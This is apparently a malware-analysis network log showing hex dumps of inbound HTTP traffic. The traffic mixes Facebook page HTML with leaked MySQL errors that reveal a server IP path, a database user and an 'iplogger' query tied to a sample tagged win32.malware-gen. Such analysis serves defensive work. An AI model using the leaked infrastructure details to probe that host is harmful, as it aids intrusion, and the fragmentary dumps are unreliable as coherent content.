2022-09-09 16:01:51 UTC	449	IN	Data Raw: 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c Data Ascii: ct():\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\
2022-09-09 16:01:51 UTC	450	IN	Data Raw: 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b 2c 20 32 29 3b 20 72 65 74 75 72 6e 20 66 61 6c 73 65 3b 22 20 74 69 74 6c 65 3d 22 49 74 61 6c 69 61 6e 22 3e 49 74 61 6c 69 61 6e 6f 3c 2f 61 3e 3c 2f 6c 69 3e 3c 6c 69 3e 3c 61 20 63 6c 61 73 73 3d 22 5f 73 76 34 22 20 64 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 70 74 Data Ascii: l\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253C\/b\u00253E\u00250A\u00253C\/font\u00253E", "www_list_selector", 2); return false;" title="Italian">Italiano</a></li><li><a class="_sv4" dir="ltr" href="https://pt
2022-09-09 16:01:51 UTC	451	IN	Data Raw: 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 6f 74 3b 29 2e 73 65 74 43 6f 6f 6b 69 65 4c 6f 63 61 6c 65 28 26 71 75 6f 74 3b 70 74 5f 50 54 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 65 6e 5f 55 53 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 68 74 74 70 73 3a 5c 2f 5c 2f 70 74 2d 70 74 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 Data Ascii: color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E" onclick="require("IntlUtils").setCookieLocale("pt_PT", "en_US", "https:\/\/pt-pt.facebook.com\/\u00253Cbr
2022-09-09 16:01:51 UTC	453	IN	Data Raw: 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 37 33 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 Data Ascii: an\u002520given\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E73\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253C
2022-09-09 16:01:51 UTC	454	IN	Data Raw: 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 Data Ascii: ne%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/see
2022-09-09 16:01:51 UTC	456	IN	Data Raw: 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 Data Ascii: DO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u0025
2022-09-09 16:01:51 UTC	457	IN	Data Raw: 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 Data Ascii: ogger\u002520from\u002520t_channels\u002520where\u002520name='securiteinfo.com.win32.malware-gen.30674'\u002520limit\u0025200,1\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Csmall\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u0
2022-09-09 16:01:51 UTC	459	IN	Data Raw: 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 30 30 30 30 30 30 25 32 32 25 33 45 25 30 41 25 33 43 62 25 33 45 31 30 34 35 25 32 30 2d 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 25 32 30 28 75 73 69 6e 67 25 32 30 70 61 73 73 77 6f 72 64 3a 25 32 30 59 45 53 29 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 73 65 6c 65 63 74 25 32 30 69 70 6c 6f 67 67 65 72 25 32 30 66 72 6f 6d 25 32 30 74 5f 63 68 61 6e 6e 65 6c 73 25 32 30 77 68 65 72 65 25 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 Data Ascii: r%20/%3E%0A%3Cfont%20color=%22%23000000%22%3E%0A%3Cb%3E1045%20-%20Access%20denied%20for%20user%20'dbnew01'@'localhost'%20(using%20password:%20YES)%3Cbr%3E%0A%3Cbr%3Eselect%20iplogger%20from%20t_channels%20where%20name='securi
2022-09-09 16:01:51 UTC	460	IN	Data Raw: 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 34 37 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 Data Ascii: \/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u00253Cb\u00253E47\u00253C\/b\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysq
2022-09-09 16:01:51 UTC	462	IN	Data Raw: 69 72 3d 22 6c 74 72 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 72 2d 74 72 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 2f 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 44 65 70 72 65 63 61 74 65 64 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 54 68 65 25 32 30 6d 79 73 71 6c 25 32 30 65 78 74 65 6e 73 69 6f 6e 25 32 30 69 73 25 32 30 64 65 70 72 65 63 61 74 65 64 25 32 30 61 6e 64 25 32 30 77 69 6c 6c 25 32 30 62 65 25 32 30 72 65 6d 6f 76 65 64 25 32 30 69 6e 25 32 30 74 68 65 25 32 30 66 75 74 75 72 65 3a 25 32 30 75 73 65 25 32 30 6d 79 73 71 6c 69 25 32 30 6f 72 25 32 30 50 44 4f 25 32 30 69 6e 73 74 65 61 64 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f Data Ascii: ir="ltr" href="https://tr-tr.facebook.com/%3Cbr%20/%3E%0A%3Cb%3EDeprecated%3C/b%3E:%20%20mysql_pconnect():%20The%20mysql%20extension%20is%20deprecated%20and%20will%20be%20removed%20in%20the%20future:%20use%20mysqli%20or%20PDO%20instead%20in%20%3Cb%3E/www/
2022-09-09 16:01:51 UTC	463	IN	Data Raw: 2e 66 61 63 65 62 6f 6f 6b 2e 63 6f 6d 5c 2f 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 44 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 54 68 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5c 75 30 30 32 35 32 30 65 78 74 65 6e 73 69 6f 6e 5c 75 30 30 32 35 32 30 69 73 5c 75 30 30 32 35 32 30 64 65 70 72 65 63 61 74 65 64 5c 75 30 30 32 35 32 30 61 6e 64 5c 75 30 30 32 35 32 30 77 69 6c 6c 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 Data Ascii: .facebook.com\/\u00253Cbr\u002520\/\u00253E\u00250A\u00253Cb\u00253EDeprecated\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520The\u002520mysql\u002520extension\u002520is\u002520deprecated\u002520and\u002520will\u002520be\u002520removed\u00252
2022-09-09 16:01:51 UTC	465	IN	Data Raw: 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 66 6f 6e 74 5c 75 30 30 32 35 32 30 63 6f 6c 6f 72 3d 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 32 33 30 30 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 31 30 34 35 5c 75 30 30 32 35 32 30 2d 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a Data Ascii: /\u00253E\u00250A\u00253Cfont\u002520color=\u002522\u002523000000\u002522\u00253E\u00250A\u00253Cb\u00253E1045\u002520-\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:
2022-09-09 16:01:51 UTC	466	IN	Data Raw: 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 25 32 30 65 78 70 65 63 74 73 25 32 30 70 61 72 61 6d 65 74 65 72 25 32 30 32 25 32 30 74 6f 25 32 30 62 65 25 32 30 72 65 73 6f 75 72 63 65 2c 25 32 30 62 6f 6f 6c 65 61 6e 25 32 30 67 69 76 65 6e 25 32 30 69 6e 25 32 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d Data Ascii: rebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_query()%20expects%20parameter%202%20to%20be%20resource,%20boolean%20given%20in%20%3Cb%3E/www/wwwroot/103.136.42.153/seem
2022-09-09 16:01:51 UTC	468	IN	Data Raw: 62 72 5c 75 30 30 32 35 32 30 5c 2f 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 57 61 72 6e 69 6e 67 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 3a 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 5c 75 30 30 32 35 32 30 41 63 63 65 73 73 5c 75 30 30 32 35 32 30 64 65 6e 69 65 64 5c 75 30 30 32 35 32 30 66 6f 72 5c 75 30 30 32 35 32 30 75 73 65 72 5c 75 30 30 32 35 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 5c 75 30 30 34 30 26 23 30 33 39 3b 6c 6f 63 61 6c 68 6f 73 74 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 28 75 73 69 6e 67 5c 75 30 30 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 Data Ascii: br\u002520\/\u00253E\u00250A\u00253Cb\u00253EWarning\u00253C\/b\u00253E:\u002520\u002520mysql_pconnect():\u002520Access\u002520denied\u002520for\u002520user\u002520'dbnew01'\u0040'localhost'\u002520(using\u002520password:\u002520YES)\u
2022-09-09 16:01:51 UTC	469	IN	Data Raw: 35 32 33 66 66 30 30 30 30 5c 75 30 30 32 35 32 32 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 35 42 54 45 50 5c 75 30 30 32 35 32 30 53 54 4f 50 5c 75 30 30 32 35 35 44 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 73 6d 61 6c 6c 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 5c 2f 66 6f 6e 74 5c 75 30 30 32 35 33 45 26 71 75 6f 74 3b 2c 20 26 71 75 6f 74 3b 77 77 77 5f 6c 69 73 74 5f 73 65 6c 65 63 74 6f 72 26 71 75 6f 74 3b Data Ascii: 523ff0000\u002522\u00253E\u00255BTEP\u002520STOP\u00255D\u00253C\/font\u00253E\u00250A\u00253C\/small\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253E\u00250A\u00253C\/b\u00253E\u00250A\u00253C\/font\u00253E", "www_list_selector"
2022-09-09 16:01:51 UTC	470	IN	Data Raw: 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 25 32 30 6c 69 6d 69 74 25 32 30 30 2c 31 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 66 6f 6e 74 25 32 30 63 6f 6c 6f 72 3d 25 32 32 25 32 33 66 66 30 30 30 30 25 32 32 25 33 45 25 35 42 54 45 50 25 32 30 53 54 4f 50 25 35 44 25 33 43 2f 66 6f 6e 74 25 33 45 25 30 41 25 33 43 2f 73 6d 61 6c 6c 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 62 72 25 33 45 25 30 41 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 2f 66 6f 6e 74 25 33 45 22 20 6f 6e 63 6c 69 63 6b 3d 22 72 65 71 75 69 72 65 28 26 71 75 6f 74 3b 49 6e 74 6c 55 74 69 6c 73 26 71 75 Data Ascii: ecuriteinfo.com.win32.malware-gen.30674'%20limit%200,1%3Cbr%3E%0A%3Cbr%3E%0A%3Csmall%3E%0A%3Cfont%20color=%22%23ff0000%22%3E%5BTEP%20STOP%5D%3C/font%3E%0A%3C/small%3E%0A%3Cbr%3E%0A%3Cbr%3E%0A%3C/b%3E%0A%3C/font%3E" onclick="require("IntlUtils&qu
2022-09-09 16:01:51 UTC	472	IN	Data Raw: 30 6d 79 73 71 6c 5f 71 75 65 72 79 28 29 5c 75 30 30 32 35 32 30 65 78 70 65 63 74 73 5c 75 30 30 32 35 32 30 70 61 72 61 6d 65 74 65 72 5c 75 30 30 32 35 32 30 32 5c 75 30 30 32 35 32 30 74 6f 5c 75 30 30 32 35 32 30 62 65 5c 75 30 30 32 35 32 30 72 65 73 6f 75 72 63 65 2c 5c 75 30 30 32 35 32 30 62 6f 6f 6c 65 61 6e 5c 75 30 30 32 35 32 30 67 69 76 65 6e 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 Data Ascii: 0mysql_query()\u002520expects\u002520parameter\u0025202\u002520to\u002520be\u002520resource,\u002520boolean\u002520given\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002
2022-09-09 16:01:51 UTC	473	IN	Data Raw: 30 25 33 43 62 25 33 45 2f 77 77 77 2f 77 77 77 72 6f 6f 74 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 2f 73 65 65 6d 6f 72 65 62 74 79 2f 69 6e 63 6c 75 64 65 73 2f 64 61 74 61 62 61 73 65 2e 70 68 70 25 33 43 2f 62 25 33 45 25 32 30 6f 6e 25 32 30 6c 69 6e 65 25 32 30 25 33 43 62 25 33 45 34 37 25 33 43 2f 62 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 72 25 32 30 2f 25 33 45 25 30 41 25 33 43 62 25 33 45 57 61 72 6e 69 6e 67 25 33 43 2f 62 25 33 45 3a 25 32 30 25 32 30 6d 79 73 71 6c 5f 70 63 6f 6e 6e 65 63 74 28 29 3a 25 32 30 41 63 63 65 73 73 25 32 30 64 65 6e 69 65 64 25 32 30 66 6f 72 25 32 30 75 73 65 72 25 32 30 26 23 30 33 39 3b 64 62 6e 65 77 30 31 26 23 30 33 39 3b 26 23 30 36 34 3b 26 23 30 33 39 3b 6c 6f 63 Data Ascii: 0%3Cb%3E/www/wwwroot/103.136.42.153/seemorebty/includes/database.php%3C/b%3E%20on%20line%20%3Cb%3E47%3C/b%3E%0A%3Cbr%20/%3E%0A%3Cbr%20/%3E%0A%3Cb%3EWarning%3C/b%3E:%20%20mysql_pconnect():%20Access%20denied%20for%20user%20'dbnew01'@'loc
2022-09-09 16:01:51 UTC	475	IN	Data Raw: 65 6d 6f 76 65 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 74 68 65 5c 75 30 30 32 35 32 30 66 75 74 75 72 65 3a 5c 75 30 30 32 35 32 30 75 73 65 5c 75 30 30 32 35 32 30 6d 79 73 71 6c 69 5c 75 30 30 32 35 32 30 6f 72 5c 75 30 30 32 35 32 30 50 44 4f 5c 75 30 30 32 35 32 30 69 6e 73 74 65 61 64 5c 75 30 30 32 35 32 30 69 6e 5c 75 30 30 32 35 32 30 5c 75 30 30 32 35 33 43 62 5c 75 30 30 32 35 33 45 5c 2f 77 77 77 5c 2f 77 77 77 72 6f 6f 74 5c 2f 31 30 33 2e 31 33 36 2e 34 32 2e 31 35 33 5c 2f 73 65 65 6d 6f 72 65 62 74 79 5c 2f 69 6e 63 6c 75 64 65 73 5c 2f 64 61 74 61 62 61 73 65 2e 70 68 70 5c 75 30 30 32 35 33 43 5c 2f 62 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 32 30 6f 6e 5c 75 30 30 32 35 32 30 6c 69 6e 65 5c 75 30 30 32 35 32 30 5c 75 Data Ascii: emoved\u002520in\u002520the\u002520future:\u002520use\u002520mysqli\u002520or\u002520PDO\u002520instead\u002520in\u002520\u00253Cb\u00253E\/www\/wwwroot\/103.136.42.153\/seemorebty\/includes\/database.php\u00253C\/b\u00253E\u002520on\u002520line\u002520\u
2022-09-09 16:01:51 UTC	476	IN	Data Raw: 32 35 32 30 70 61 73 73 77 6f 72 64 3a 5c 75 30 30 32 35 32 30 59 45 53 29 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 73 65 6c 65 63 74 5c 75 30 30 32 35 32 30 69 70 6c 6f 67 67 65 72 5c 75 30 30 32 35 32 30 66 72 6f 6d 5c 75 30 30 32 35 32 30 74 5f 63 68 61 6e 6e 65 6c 73 5c 75 30 30 32 35 32 30 77 68 65 72 65 5c 75 30 30 32 35 32 30 6e 61 6d 65 3d 26 23 30 33 39 3b 73 65 63 75 72 69 74 65 69 6e 66 6f 2e 63 6f 6d 2e 77 69 6e 33 32 2e 6d 61 6c 77 61 72 65 2d 67 65 6e 2e 33 30 36 37 34 26 23 30 33 39 3b 5c 75 30 30 32 35 32 30 6c 69 6d 69 74 5c 75 30 30 32 35 32 30 30 2c 31 5c 75 30 30 32 35 33 43 62 72 5c 75 30 30 32 35 33 45 5c 75 30 30 32 35 30 41 5c 75 30 30 32 35 Data Ascii: 2520password:\u002520YES)\u00253Cbr\u00253E\u00250A\u00253Cbr\u00253Eselect\u002520iplogger\u002520from\u002520t_channels\u002520where\u002520name='securiteinfo.com.win32.malware-gen.30674'\u002520limit\u0025200,1\u00253Cbr\u00253E\u00250A\u0025
